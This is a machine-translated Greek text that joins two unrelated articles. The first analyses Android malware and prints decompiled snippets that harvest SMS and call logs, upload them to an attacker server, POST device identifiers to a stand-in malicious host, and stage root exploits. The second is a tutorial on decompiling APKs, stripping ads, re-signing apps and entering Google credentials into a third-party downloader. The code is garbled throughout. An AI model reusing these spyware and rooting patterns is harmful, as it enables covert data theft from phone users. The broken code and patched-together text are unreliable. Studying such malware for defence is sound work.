Στη συντριπτική πλειοψηφία των περιπτώσεων, ένα τηλέφωνο μολύνεται μέσω της εγκατάστασης εφαρμογών. Οποιαδήποτε εφαρμογή Android υπάρχει ως αρχείο με την επέκταση apk, η οποία είναι ουσιαστικά ένα αρχείο. Μπορείτε να προβάλετε τα περιεχόμενά του χρησιμοποιώντας το Android SDK, έναν μετατροπέα αρχείων APK σε JAR και έναν απομεταγλωττιστή bytecode Java. Η έκδοση εφαρμογής (APK) αποτελείται από τα ακόλουθα μέρη:

  • resources.arsc - πίνακας πόρων;
  • res (φάκελος) - πραγματικοί πόροι (εικονίδια, κ.λπ.).
  • META-INF (φάκελος) - περιέχει αρχεία με τα ακόλουθα περιεχόμενα: αθροίσματα ελέγχου πόρων, πιστοποιητικό εφαρμογής και περιγραφή συγκροτήματος APK.
  • AndroidManifest.xml - πληροφορίες υπηρεσίας όλων των ειδών. Συμπεριλαμβανομένων των δικαιωμάτων που ζητά η εφαρμογή πριν από την εγκατάσταση για τη σωστή λειτουργία της.
  • classes.dex - πιθανότατα έχετε ακούσει ότι στα λειτουργικά συστήματα Android όλος ο κώδικας εκτελείται χρησιμοποιώντας την εικονική μηχανή Dalvik (ξεκινώντας από την έκδοση 4.4, εμφανίζεται η υποστήριξη ART), η οποία δεν κατανοεί τον κανονικό bytecode Java. Γι' αυτό υπάρχουν αρχεία με την επέκταση dex. Μαζί με τις απαραίτητες και χρήσιμες κλάσεις (που είναι υπεύθυνες για τη λειτουργικότητα της εφαρμογής), περιέχει και κακόβουλες (κώδικας ιού, που αναλύουμε σε αυτό το άρθρο).

Εγγραφή πληροφοριών χρήστη σε αρχείο κειμένου

Ποιος χρησιμοποιεί:

  • NickySpy;
  • SmsSpy.

Υπάρχει μια κατηγορία ιών που λεηλατούν τα προσωπικά δεδομένα των χρηστών. Ο μηχανισμός δράσης τους είναι επίσης απλός. Είτε ανεβάζουν αρχεία χρήστη στον διακομιστή του δημιουργού τους, είτε συλλέγουν εκ των προτέρων ορισμένα δεδομένα σε txt (CSV, XML - δεν έχει σημασία). Επαφές οποιουδήποτε τύπου, μηνύματα από διαφορετικούς messenger, αρχεία πολυμέσων κ.λπ. μπορεί να ενδιαφέρουν τους εισβολείς.

Τα μηνύματα SMS από μολυσμένους χρήστες είναι ιδιαίτερα πολύτιμα για τους αριθμούς τηλεφώνου των αποστολέων και των παραληπτών - μπορούν να χρησιμοποιηθούν για τη συμπλήρωση της βάσης δεδομένων για αποστολές ανεπιθύμητης αλληλογραφίας. Λιγότερο συχνά, ιοί αυτού του είδους χρησιμοποιούνται για να μολύνουν τις συσκευές συγκεκριμένων ατόμων - την επόμενη φορά που η κοπέλα σας θα σας καλέσει να δοκιμάσετε την εφαρμογή Android που έγραψε (α, caramba! - Εκδ.), μην απογοητεύεστε :) .

// Μετρήστε τον αριθμό των SMS στη συσκευή arrayOfObject = (Object)localBundle.get("pdus"); int j=arrayOfObject.length; // Κάντε βρόχο σε κάθε SMS i=1 ενώ (true) (if(i>=j) break; // Δημιουργία αντικειμένου μηνύματος SMS SmsMessage localSmsMessage=SmsMessage.createFrompdu((byte)arrayOfObject[i]); // Τοποθετήστε στις μεταβλητές συμβολοσειράς τον αριθμό του αποστολέα, το κείμενο και την ώρα αποστολής του SMS String MessageNumber = localSmsMessage.getOriginatingAddress(String MessageText = localSmsMessage.getDisplayMessageBody(longSmsMessage.getTimestampMimple)); HH:mm:ss").format(localDate); // Σχηματίστε μια συμβολοσειρά από τα ληφθέντα δεδομένα και γράψτε την σε ένα αρχείο κειμένου χρησιμοποιώντας την προσαρμοσμένη μέθοδο WriteRec String MessageInfo= 7MessageNumber+"#"+ MessageText+"#" + MessageTimeDate+"; " WriteRec(paramContext,"sms.txt",MessageInfo); // Μετακίνηση στο επόμενο μήνυμα i+=1; ) Είναι επίσης βολικό να συμπληρώσετε τη λίστα ανεπιθύμητων από το ιστορικό κλήσεων του συνδρομητή. Αυτός ο κωδικός μπορεί να εκτελεστεί όταν υπάρχει εισερχόμενη κλήση: If (parmIntent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")) ( // Τοποθετήστε τον αριθμό συνδρομητή στη μεταβλητή String phonenumber=paramIntent.getStringExtra( "android.intent. extra.PHONE_NUMBER"); // Σχηματίστε μια συμβολοσειρά από τον αριθμό και την ημερομηνία της κλήσης δίνεται εδώ), το οποίο προσθέτει μια γραμμή στο αρχείο κειμένου με ιστορικό κλήσεων WriteRec(paramContext,"phonecall.txt", PhoneCallRecord )

Αφού καταγραφούν οι πληροφορίες, προωθούνται στα «δεξιά χέρια». Ο παρακάτω κώδικας μεταφορτώνει το ιστορικό κλήσεων στον διακομιστή:

Ιδιωτικό κενό uploadPhonecallHistory() ρίχνει το IDException ( while(true) (‘return; // Ελέγξτε αν υπάρχει το αρχείο που χρειαζόμαστε if(!fileIsExists(/data/data/spyapp.pg/files/phonecall.txt")) συνέχεια; // Δημιουργία αντικειμένου - πρόγραμμα αποστολής αρχείων UploadFiles localUploadFiles=new UploadFiles( String uploadkeynode=getKeyNode("uid","uid_v" // Εκτελέστε τη μέθοδο .advanceduploadfile (ο κώδικας του δεν δίνεται εδώ) ο διακομιστής "δημιουργός ιών" localUploadFiles advanceduploadfile(uploadkeynode,"/data/data/spyapp.pg/files/phonecall.txt" )

Συλλογή πληροφοριών

Ποιος χρησιμοποιεί:

  • DroidKungFu;
  • DroidDream;
  • η συντριπτική πλειοψηφία των κακόβουλων προγραμμάτων όλων των παρόμοιων τύπων.

Κατ' αρχήν, οποιοσδήποτε κατασκευαστής ιών θα επωφεληθεί από πληροφορίες σχετικά με συσκευές που έχουν μολυνθεί από τα προγράμματά του. Είναι πολύ εύκολο να το αποκτήσεις. Δημιουργείται ένας πίνακας με δεδομένα σχετικά με τις ιδιότητες του τηλεφώνου (η πλήρης λίστα βρίσκεται στο εγχειρίδιο προγραμματιστή Android) και αποστέλλεται ως αίτημα POST σε ένα σενάριο PHP (η γλώσσα δεν είναι σημαντική) στον διακομιστή του εισβολέα, ο οποίος επεξεργάζεται τα δεδομένα και το τοποθετεί στη βάση δεδομένων για μελλοντική χρήση.

Ιδιωτικό void reportState(int paramInt, string paramString) ( // Δημιουργήστε έναν πίνακα και βάλτε πληροφορίες υπηρεσίας σε αυτόν ArrayList UserInformation=new ArrayList(); UserInformation.add(new BasicNameValuePair("imei", this.mImei)); UserInformation.add ( new BasicNameValuePair("taskid", this.mTaskId) UserInformation.add(new BasicNameValuePair("state", Integer.toString(paramInt))); το στον πίνακα και το if(paramStrng !=null)&&(!").equals(paramString))) UserInformation.add(new BasicNameValuePair("comment", paramString)); // Δημιουργήστε ένα αίτημα HTTP POST με τη διεύθυνση του σεναρίου που συλλέγει δεδομένα HttpPost localHttpPost = new HttpPost("http://search.virusxxxdomain.com:8511/search/rtpy.php"); δοκιμάστε ( // Προσθέστε τον πίνακα δεδομένων μας στο αίτημα και εκτελέστε τον χρησιμοποιώντας τον τυπικό πελάτη HTTP localHttpPost.setEntity(new UrlEncodeFormEntity(UserInformation, "UTF-8"))); new DefaultHttpClient().execute(localHttpPost).getStatusLine.getStatusCode(); ΕΠΙΣΤΡΟΦΗ; ) )

Ριζοβολία

Ποιος χρησιμοποιεί:

  • DroidKungFu;
  • DroidDream;
  • RootSmart.

Ένα από τα χειρότερα πράγματα που μπορεί να συμβεί σε μια συσκευή Android είναι η ρίζα της από ιό. Μετά από όλα, μετά από αυτό, ένα κακόβουλο πρόγραμμα μπορεί να κάνει ό,τι θέλει με αυτό: να εγκαταστήσει άλλους ιούς, να αλλάξει ρυθμίσεις υλικού. Αυτή η ενέργεια εκτελείται με διαδοχική εκκίνηση εκμεταλλεύσεων:

Private void RootFunc() ( ApplicationInfo localApplicationInfo =getApplicationInfo(); /*"ratc" είναι ένα αντίγραφο του διάσημου εκμεταλλεύματος ρίζας Rage Against The Cage. Kiall - σταματά όλες τις διεργασίες που εκτελούνται από την τρέχουσα εφαρμογή. Gjsvro - exploit για την απόκτηση δικαιωμάτων udev ( χρησιμοποιείται σε συστήματα Linux για προηγμένη εργασία με υλικό και διεπαφές δικτύου Αντιγράψτε όλα αυτά στο σωστό μέρος */ Utils.copyAssets(this"ratc","/data/data"+localApplicationInfo.packageName + "/ratc"). .copyAssets(this"killall","/data/data"+localApplicationInfo.packageName + "/killall"(this,"gjsvro","/data/data"+localApplicationInfo.packageName + "/gjsvro"); "); //Και εκτελέστε χρησιμοποιώντας τη γραμμή εντολών Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/ratc"); Utils.oldrun("/system/ bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/killall"); Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/ γισβρω"); νέο MyTread.start(); )

Ιστότοποι σχετικά με κακόβουλο λογισμικό για κινητά

Ιστολόγιο ειδικών της Kasperskiy Lab Αυτός ο πόρος περιέχει υψηλής ποιότητας και λεπτομερή άρθρα σχετικά με πολλές πτυχές της ασφάλειας των υπολογιστών, συμπεριλαμβανομένων των ιών Android. Αξίζει να επισκέπτεστε αυτόν τον ιστότοπο τακτικά για να ενημερώνεστε για τις τελευταίες εξελίξεις.

Η ομάδα είναι αφιερωμένη σε ένα εργαλείο ανοιχτού κώδικα για κάθε είδους χειρισμούς με κώδικα εφαρμογής Android (απομεταγλώττιση και τροποποίηση αρχείων DEX/ODEX/APK κ.λπ.). Το Androguard περιέχει επίσης μια εκτενή βάση δεδομένων με άρθρα σχετικά με ιούς. Εκτός από τις σύντομες ανασκοπήσεις της λειτουργικότητας και των μεθόδων προστασίας, υπάρχουν λεπτομερείς αναλύσεις κώδικα κακόβουλου λογισμικού.


Ενότητα για κινητές απειλές στη διεύθυνση www.fortiguard.com Εγκυκλοπαίδεια τηλεφωνικών ιών. Κάθε άρθρο είναι μια ανασκόπηση της λειτουργικότητας, με πολλές τεχνικές λεπτομέρειες. Εκτός από πληροφορίες σχετικά με απειλές για το λειτουργικό σύστημα Android, υπάρχουν άρθρα σχετικά με ιούς για Symbian OS, iOS και άλλες πλατφόρμες.


Προστασία από ιό

Ορισμένοι χρήστες πιστεύουν ότι εάν κάνετε λήψη εφαρμογών αποκλειστικά από το Google Play και εγκαταστήσετε ένα πρόγραμμα προστασίας από ιούς στο smartphone σας, αυτό θα εγγυηθεί απολύτως την ασφάλεια. Μην αυταπατάτε: στο Διαδίκτυο εμφανίζονται τακτικά αναφορές σχετικά με κακόβουλο λογισμικό που βρίσκεται στην επίσημη αγορά. Και ο αριθμός των κακόβουλων προγραμμάτων που εμφανίστηκαν πρόσφατα μετριέται σε εκατοντάδες χιλιάδες ανά μήνα, γεγονός που καθιστά δύσκολο για αυτούς να μπουν έγκαιρα στις βάσεις δεδομένων των προγραμμάτων προστασίας από ιούς. Μια πραγματική εγγύηση ασφάλειας μπορεί να προέλθει από τον μη αυτόματο έλεγχο του κώδικα του αρχείου APK πριν το εγκαταστήσετε στο τηλέφωνό σας. Δεν χρειάζεται να είστε γκουρού κωδικοποίησης για να εντοπίσετε κακόβουλα αποσπάσματα. Και το άρθρο μας θα σας βοηθήσει με αυτό.

συμπέρασμα

Όπως μπορούμε να δούμε από τα παραδείγματα, η δημιουργία ιών για κινητά δεν διαφέρει από την άποψη της τεχνολογικής πολυπλοκότητας. Φυσικά, αυτά τα παραδείγματα είναι απλοποιημένα για να ταιριάζουν στη μορφή αρχείου καταγραφής - πρώτα απ 'όλα, παραλείπονται οι χειριστές σφαλμάτων και εξαιρέσεων, καθώς και ορισμένες τεχνικές λεπτομέρειες, η απουσία των οποίων δεν θα σας εμποδίσει να κατανοήσετε τις αρχές του κακόβουλου λογισμικού Android, αλλά σας προστατεύουν από περιττά πειράματα. Δεν υποστηρίζουμε τη δημιουργία ιών, έτσι δεν είναι; 🙂

Μερικές φορές ορισμένες εφαρμογές στο Android δεν ταιριάζουν με κάποιο τρόπο στον χρήστη. Ένα παράδειγμα είναι η παρεμβατική διαφήμιση. Και συμβαίνει επίσης το πρόγραμμα να είναι καλό για όλους, αλλά η μετάφραση σε αυτό είτε είναι στραβή είτε απουσιάζει εντελώς. Ή, για παράδειγμα, το πρόγραμμα είναι δοκιμαστικό, αλλά δεν υπάρχει τρόπος να αποκτήσετε την πλήρη έκδοση. Πώς να αλλάξετε την κατάσταση;

Εισαγωγή

Σε αυτό το άρθρο, θα μιλήσουμε για το πώς να αποσυναρμολογήσουμε ένα πακέτο APK με μια εφαρμογή, να δούμε την εσωτερική του δομή, να αποσυναρμολογήσουμε και να απομεταγλωττίσουμε τον bytecode και επίσης να προσπαθήσουμε να κάνουμε πολλές αλλαγές στις εφαρμογές που μπορούν να μας φέρουν το ένα ή το άλλο όφελος.

Για να τα κάνετε όλα αυτά μόνοι σας, θα χρειαστείτε τουλάχιστον βασικές γνώσεις της γλώσσας Java, στην οποία είναι γραμμένες οι εφαρμογές Android, και της γλώσσας XML, που χρησιμοποιείται παντού στο Android - από την περιγραφή της ίδιας της εφαρμογής και των δικαιωμάτων πρόσβασής της μέχρι την αποθήκευση συμβολοσειρών θα εμφανιστεί στην οθόνη. Θα χρειαστείτε επίσης τη δυνατότητα χρήσης εξειδικευμένου λογισμικού κονσόλας.

Λοιπόν, τι είναι ένα πακέτο APK στο οποίο διανέμεται απολύτως όλο το λογισμικό Android;

Αποσυμπίληση εφαρμογής

Σε αυτό το άρθρο, δουλέψαμε μόνο με αποσυναρμολογημένο κώδικα εφαρμογής, αλλά αν γίνουν πιο σοβαρές αλλαγές σε μεγάλες εφαρμογές, η κατανόηση του κώδικα smali θα είναι πολύ πιο δύσκολη. Ευτυχώς, μπορούμε να απομεταγλωττίσουμε τον κώδικα dex σε κώδικα Java, ο οποίος, αν και δεν είναι πρωτότυπος και δεν έχει μεταγλωττιστεί ξανά, είναι πολύ πιο εύκολο να διαβαστεί και να κατανοηθεί η λογική της εφαρμογής. Για να γίνει αυτό, θα χρειαστούμε δύο εργαλεία:

  • Το dex2jar είναι ένας μεταφραστής του bytecode Dalvik σε bytecode JVM, βάσει του οποίου μπορούμε να λάβουμε κώδικα στη γλώσσα Java.
  • Το jd-gui είναι ένας ίδιος ο απομεταγλωττιστής που σας επιτρέπει να λαμβάνετε αναγνώσιμο κώδικα Java από τον bytecode JVM. Εναλλακτικά, μπορείτε να χρησιμοποιήσετε το Jad (www.varaneckas.com/jad). Αν και είναι αρκετά παλιό, σε ορισμένες περιπτώσεις δημιουργεί πιο ευανάγνωστο κώδικα από το Jd-gui.

Έτσι πρέπει να χρησιμοποιούνται. Αρχικά, εκκινούμε το dex2jar, καθορίζοντας τη διαδρομή προς το πακέτο apk ως όρισμα:

% dex2jar.sh mail.apk

Ως αποτέλεσμα, το πακέτο Java mail.jar θα εμφανιστεί στον τρέχοντα κατάλογο, ο οποίος μπορεί ήδη να ανοίξει στο jd-gui για να προβάλετε τον κώδικα Java.

Τακτοποίηση πακέτων APK και λήψη τους

Ένα πακέτο εφαρμογών Android είναι ουσιαστικά ένα κανονικό αρχείο ZIP που δεν απαιτεί ειδικά εργαλεία για την προβολή του περιεχομένου του ή την εξαγωγή του. Αρκεί να έχετε έναν αρχειοθέτη - 7zip για Windows ή κονσόλα unzip σε Linux. Αλλά πρόκειται για το περιτύλιγμα. Τι είναι μέσα; Γενικά, έχουμε την ακόλουθη δομή στο εσωτερικό:

  • META-INF/- περιέχει ένα ψηφιακό πιστοποιητικό της εφαρμογής, που ταυτοποιεί τον δημιουργό της και αθροίσματα ελέγχου των αρχείων του πακέτου.
  • res/ - διάφορους πόρους που χρησιμοποιεί η εφαρμογή στην εργασία της, όπως εικόνες, δηλωτική περιγραφή της διεπαφής, καθώς και άλλα δεδομένα.
  • AndroidManifest.xml- περιγραφή της αίτησης. Αυτό περιλαμβάνει, για παράδειγμα, μια λίστα με τα απαιτούμενα δικαιώματα, την απαιτούμενη έκδοση Android και την απαιτούμενη ανάλυση οθόνης.
  • τάξεις.dex- μεταγλωττισμένο bytecode εφαρμογής για την εικονική μηχανή Dalvik.
  • πόροι.arsc- επίσης πόροι, αλλά διαφορετικού είδους - ειδικότερα, συμβολοσειρές (ναι, αυτό το αρχείο μπορεί να χρησιμοποιηθεί για ρωσοποίηση!).

Τα αρχεία και οι κατάλογοι που αναφέρονται βρίσκονται, αν όχι σε όλα, τότε, ίσως, στη συντριπτική πλειοψηφία των APK. Ωστόσο, υπάρχουν μερικά άλλα λιγότερο κοινά αρχεία/κατάλογοι που αξίζει να αναφερθούν:

  • περιουσιακά στοιχεία- ανάλογο πόρων. Η κύρια διαφορά είναι ότι για να αποκτήσετε πρόσβαση σε έναν πόρο πρέπει να γνωρίζετε το αναγνωριστικό του, αλλά η λίστα των στοιχείων μπορεί να ληφθεί δυναμικά χρησιμοποιώντας τη μέθοδο AssetManager.list() στον κώδικα της εφαρμογής.
  • lib- εγγενείς βιβλιοθήκες Linux γραμμένες με χρήση NDK (Native Development Kit).

Αυτός ο κατάλογος χρησιμοποιείται από παραγωγούς παιχνιδιών που τοποθετούν εκεί τη μηχανή παιχνιδιού γραμμένη σε C/C++, καθώς και από δημιουργούς εφαρμογών υψηλής απόδοσης (για παράδειγμα, Google Chrome). Καταλάβαμε τη συσκευή. Πώς όμως αποκτάτε το αρχείο πακέτου της εφαρμογής που σας ενδιαφέρει; Δεδομένου ότι δεν είναι δυνατή η λήψη αρχείων APK από τη συσκευή χωρίς root (βρίσκονται στον κατάλογο /data/app) και το root δεν είναι πάντα σκόπιμο, υπάρχουν τουλάχιστον τρεις τρόποι για να μεταφέρετε το αρχείο της εφαρμογής στον υπολογιστή σας:

  • Επέκταση APK Downloader για Chrome.
  • Πραγματική εφαρμογή APK Leecher.
  • διάφορα αρχεία φιλοξενίας και Varezniks.

Ποιο να χρησιμοποιήσω είναι θέμα γούστου. προτιμάμε να χρησιμοποιούμε ξεχωριστές εφαρμογές, επομένως θα περιγράψουμε τη χρήση του Real APK Leecher, ειδικά επειδή είναι γραμμένο σε Java και, κατά συνέπεια, θα λειτουργεί είτε σε Windows είτε σε Nix.

Μετά την εκκίνηση του προγράμματος, πρέπει να συμπληρώσετε τρία πεδία: Email, Κωδικός πρόσβασης και Αναγνωριστικό συσκευής - και να επιλέξετε μια γλώσσα. Τα δύο πρώτα είναι το e-mail και ο κωδικός πρόσβασης του λογαριασμού σας Google που χρησιμοποιείτε στη συσκευή. Το τρίτο είναι το αναγνωριστικό συσκευής και μπορείτε να το λάβετε πληκτρολογώντας τον κωδικό στο dialer # #8255## και στη συνέχεια εύρεση της γραμμής Αναγνωριστικό συσκευής. Κατά τη συμπλήρωση, χρειάζεται μόνο να εισαγάγετε το αναγνωριστικό χωρίς το πρόθεμα android.

Μετά τη συμπλήρωση και την αποθήκευση, εμφανίζεται συχνά το μήνυμα "Σφάλμα κατά τη σύνδεση με τον διακομιστή". Δεν έχει καμία σχέση με το Google Play, οπότε μη διστάσετε να το αγνοήσετε και να αναζητήσετε πακέτα που σας ενδιαφέρουν.

Προβολή και Τροποποίηση

Ας υποθέσουμε ότι βρήκατε ένα πακέτο που σας ενδιαφέρει, το κατεβάσατε, το αποσυσκευάσατε... και όταν προσπαθήσατε να δείτε κάποιο αρχείο XML, ανακαλύψατε με έκπληξη ότι το αρχείο δεν ήταν κείμενο. Πώς να το απομεταγλωττίσω και πώς να δουλέψετε με πακέτα γενικά; Είναι πραγματικά απαραίτητο να εγκαταστήσετε το SDK; Όχι, δεν είναι απαραίτητο να εγκαταστήσετε το SDK καθόλου. Στην πραγματικότητα, όλα τα βήματα για την εξαγωγή, την τροποποίηση και τη συσκευασία πακέτων APK απαιτούν τα ακόλουθα εργαλεία:

  • Αρχειοθέτηση ZIPγια αποσυσκευασία και συσκευασία.
  • smali- Dalvik εικονική μηχανή bytecode assembler/disassembler (code.google.com/p/smali);
  • aapt- ένα εργαλείο για τη συσκευασία πόρων (από προεπιλογή, οι πόροι αποθηκεύονται σε δυαδική μορφή για τη βελτιστοποίηση της απόδοσης της εφαρμογής). Περιλαμβάνεται στο Android SDK, αλλά μπορεί να ληφθεί ξεχωριστά.
  • υπογράφων- ένα εργαλείο για την ψηφιακή υπογραφή ενός τροποποιημένου πακέτου (bit.ly/Rmrv4M).

Μπορείτε να χρησιμοποιήσετε όλα αυτά τα εργαλεία ξεχωριστά, αλλά αυτό δεν είναι βολικό, επομένως είναι καλύτερο να χρησιμοποιείτε λογισμικό υψηλότερου επιπέδου που έχει κατασκευαστεί στη βάση τους. Εάν εργάζεστε σε Linux ή Mac OS X, υπάρχει ένα εργαλείο που ονομάζεται apktool. Σας επιτρέπει να αποσυσκευάζετε πόρους στην αρχική τους μορφή (συμπεριλαμβανομένων των δυαδικών αρχείων XML και arsc), να αναδημιουργείτε ένα πακέτο με αλλαγμένους πόρους, αλλά δεν γνωρίζει πώς να υπογράφει πακέτα, επομένως θα πρέπει να εκτελέσετε το βοηθητικό πρόγραμμα υπογραφών με μη αυτόματο τρόπο. Παρά το γεγονός ότι το βοηθητικό πρόγραμμα είναι γραμμένο σε Java, η εγκατάστασή του είναι αρκετά μη τυπική. Πρώτα πρέπει να λάβετε το ίδιο το αρχείο jar:

$ cd /tmp $ wget http://bit.ly/WC3OCz $ tar -xjf apktool1.5.1.tar.bz2

$ wget http://bit.ly/WRjEc7 $ tar -xjf apktool-install-linux-r05-ibot.tar.bz2

$ mv apktool.jar ~/bin $ mv apktool-install-linux-r05-ibot/* ~/bin $ εξαγωγή PATH=~/bin:$PATH

Εάν εργάζεστε σε Windows, τότε υπάρχει ένα εξαιρετικό εργαλείο για αυτό που ονομάζεται Virtuous Ten Studio, το οποίο επίσης συγκεντρώνει όλα αυτά τα εργαλεία (συμπεριλαμβανομένου του ίδιου του apktool), αλλά αντί για μια διεπαφή CLI παρέχει στον χρήστη μια διαισθητική γραφική διεπαφή με την οποία μπορείτε να εκτελέστε λειτουργίες αποσυσκευασίας, αποσυναρμολόγησης και αποσυμπίλησης με λίγα κλικ. Αυτό το εργαλείο είναι Donation-ware, δηλαδή μερικές φορές εμφανίζονται παράθυρα που σας ζητούν να λάβετε άδεια, αλλά τελικά αυτό μπορεί να γίνει ανεκτή. Δεν έχει νόημα να το περιγράψω, γιατί μπορείτε να κατανοήσετε τη διεπαφή σε λίγα λεπτά. Αλλά το apktool, λόγω της φύσης της κονσόλας, θα πρέπει να συζητηθεί λεπτομερέστερα.


Ας δούμε τις επιλογές του apktool. Με λίγα λόγια, υπάρχουν τρεις βασικές εντολές: d (αποκωδικοποίηση), b (build) και if (εγκατάσταση πλαισίου). Αν όλα είναι ξεκάθαρα με τις δύο πρώτες εντολές, τότε τι κάνει η τρίτη, υπό όρους δήλωση; Αποσυσκευάζει το καθορισμένο πλαίσιο διεπαφής χρήστη, το οποίο είναι απαραίτητο σε περιπτώσεις όπου αναλύετε οποιοδήποτε πακέτο συστήματος.

Ας δούμε τις πιο ενδιαφέρουσες επιλογές της πρώτης εντολής:

  • -μικρό- μην αποσυναρμολογείτε αρχεία dex.
  • -r- μην αποσυσκευάζετε πόρους.
  • -σι- μην εισάγετε πληροφορίες εντοπισμού σφαλμάτων στα αποτελέσματα της αποσυναρμολόγησης του αρχείου dex.
  • --πλαίσιο-διαδρομή- χρησιμοποιήστε το καθορισμένο πλαίσιο διεπαφής χρήστη αντί για αυτό που είναι ενσωματωμένο στο apktool. Τώρα ας δούμε μερικές επιλογές για την εντολή b:
  • -φά- αναγκαστική συναρμολόγηση χωρίς έλεγχο αλλαγών.
  • -ένα- υποδείξτε τη διαδρομή προς το aapt (εργαλείο για τη δημιουργία αρχείου APK), εάν για κάποιο λόγο θέλετε να το χρησιμοποιήσετε από άλλη πηγή.

Η χρήση του apktool είναι πολύ απλή για να γίνει αυτό, απλώς καθορίστε μία από τις εντολές και τη διαδρομή προς το APK, για παράδειγμα:

$ apktool d mail.apk

Μετά από αυτό, όλα τα εξαγόμενα και αποσυναρμολογημένα αρχεία του πακέτου θα εμφανιστούν στον κατάλογο αλληλογραφίας.

Παρασκευή. Απενεργοποίηση διαφήμισης

Η θεωρία είναι, φυσικά, καλή, αλλά γιατί χρειάζεται αν δεν ξέρουμε τι να κάνουμε με το μη συσκευασμένο πακέτο; Ας προσπαθήσουμε να εφαρμόσουμε τη θεωρία προς όφελός μας, δηλαδή να τροποποιήσουμε κάποιο λογισμικό ώστε να μην μας δείχνει διαφημίσεις. Για παράδειγμα, ας είναι Virtual Torch - ένας εικονικός φακός. Αυτό το λογισμικό είναι ιδανικό για εμάς, γιατί είναι γεμάτο με ενοχλητικές διαφημίσεις και, επιπλέον, είναι αρκετά απλό για να μην χαθούμε στη ζούγκλα του κώδικα.


Έτσι, χρησιμοποιώντας μία από τις παραπάνω μεθόδους, κατεβάστε την εφαρμογή από την αγορά. Εάν αποφασίσετε να χρησιμοποιήσετε το Virtuous Ten Studio, απλώς ανοίξτε το αρχείο APK στην εφαρμογή και αποσυσκευάστε το, δημιουργήστε ένα έργο (Αρχείο -> Νέο έργο) και, στη συνέχεια, επιλέξτε Εισαγωγή αρχείου στο μενού περιβάλλοντος του έργου. Εάν η επιλογή σας έπεσε στο apktool, τότε απλώς εκτελέστε μία εντολή:

$ apktool d com.kauf.particle.virtualtorch.apk

Μετά από αυτό, ένα δέντρο αρχείων παρόμοιο με αυτό που περιγράφεται στην προηγούμενη ενότητα θα εμφανιστεί στον κατάλογο com.kauf.particle.virtualtorch, αλλά με έναν πρόσθετο κατάλογο smali αντί για αρχεία dex και ένα αρχείο apktool.yml. Το πρώτο περιέχει αποσυναρμολογημένο κώδικα του εκτελέσιμου αρχείου dex της εφαρμογής, το δεύτερο περιέχει πληροφορίες υπηρεσίας που είναι απαραίτητες για το apktool να συναρμολογήσει το πακέτο πίσω.

Το πρώτο μέρος που πρέπει να κοιτάξουμε είναι, φυσικά, το AndroidManifest.xml. Και εδώ αμέσως συναντάμε την εξής γραμμή:

Δεν είναι δύσκολο να μαντέψει κανείς ότι είναι υπεύθυνη για τη χορήγηση αδειών στην εφαρμογή για χρήση της σύνδεσης στο Διαδίκτυο. Στην πραγματικότητα, αν θέλουμε απλώς να απαλλαγούμε από τη διαφήμιση, πιθανότατα θα χρειαστεί απλώς να αποκλείσουμε την εφαρμογή από το Διαδίκτυο. Ας προσπαθήσουμε να το κάνουμε αυτό. Διαγράφουμε την καθορισμένη γραμμή και προσπαθούμε να δημιουργήσουμε το λογισμικό χρησιμοποιώντας το apktool:

$ apktool b com.kauf.particle.virtualtorch

Το αρχείο APK που προκύπτει θα εμφανιστεί στον κατάλογο com.kauf.particle.virtualtorch/build/. Ωστόσο, δεν θα είναι δυνατή η εγκατάστασή του, καθώς δεν έχει ψηφιακή υπογραφή και αθροίσματα ελέγχου αρχείων (απλώς δεν έχει κατάλογο META-INF/). Πρέπει να υπογράψουμε το πακέτο χρησιμοποιώντας το βοηθητικό πρόγραμμα apk-signer. Ξεκίνησε. Η διεπαφή αποτελείται από δύο καρτέλες - στην πρώτη (Γεννήτρια κλειδιών) δημιουργούμε κλειδιά, στη δεύτερη (APK Signer) υπογράφουμε. Για να δημιουργήσετε το ιδιωτικό μας κλειδί, συμπληρώστε τα παρακάτω πεδία:

  • Αρχείο στόχου- αρχείο εξόδου keystore? Συνήθως αποθηκεύει ένα ζευγάρι κλειδιά.
  • Κωδικός πρόσβασηςΚαι Επιβεβαιώνω- κωδικός πρόσβασης για την αποθήκευση.
  • Ψευδώνυμο- όνομα του κλειδιού στο χώρο αποθήκευσης.
  • Ψευδώνυμο κωδικόςΚαι Επιβεβαιώνω- κωδικός μυστικού κλειδιού.
  • Εγκυρότητα- περίοδος ισχύος (σε έτη). Η προεπιλεγμένη τιμή είναι η βέλτιστη.

Τα υπόλοιπα πεδία είναι, γενικά, προαιρετικά - αλλά τουλάχιστον ένα πρέπει να συμπληρωθεί.


ΠΡΟΕΙΔΟΠΟΙΗΣΗ

Για να υπογράψετε μια εφαρμογή χρησιμοποιώντας το apk-signer, πρέπει να εγκαταστήσετε το Android SDK και να καθορίσετε την πλήρη διαδρομή προς αυτό στις ρυθμίσεις της εφαρμογής.

Όλες οι πληροφορίες παρέχονται μόνο για ενημερωτικούς σκοπούς. Ούτε οι συντάκτες ούτε ο συγγραφέας ευθύνονται για οποιαδήποτε πιθανή βλάβη που προκαλείται από τα υλικά αυτού του άρθρου.

Τώρα μπορείτε να υπογράψετε το APK με αυτό το κλειδί. Στην καρτέλα APK Signer, επιλέξτε το αρχείο που δημιουργήθηκε πρόσφατα, εισαγάγετε τον κωδικό πρόσβασης, το ψευδώνυμο κλειδιού και τον κωδικό πρόσβασης και, στη συνέχεια, βρείτε το αρχείο APK και κάντε κλικ με τόλμη στο κουμπί "Υπογραφή". Αν όλα πάνε καλά, το πακέτο θα υπογραφεί.

ΠΛΗΡΟΦΟΡΙΕΣ

Εφόσον υπογράψαμε το πακέτο με το δικό μας κλειδί, θα έρχεται σε διένεξη με την αρχική εφαρμογή, πράγμα που σημαίνει ότι όταν προσπαθήσουμε να ενημερώσουμε το λογισμικό μέσω της αγοράς, θα λάβουμε ένα σφάλμα.

Απαιτείται ψηφιακή υπογραφή μόνο για λογισμικό τρίτων, επομένως εάν τροποποιείτε εφαρμογές συστήματος που είναι εγκατεστημένες αντιγράφοντας τις στον κατάλογο /system/app/, τότε δεν χρειάζεται να τις υπογράψετε.

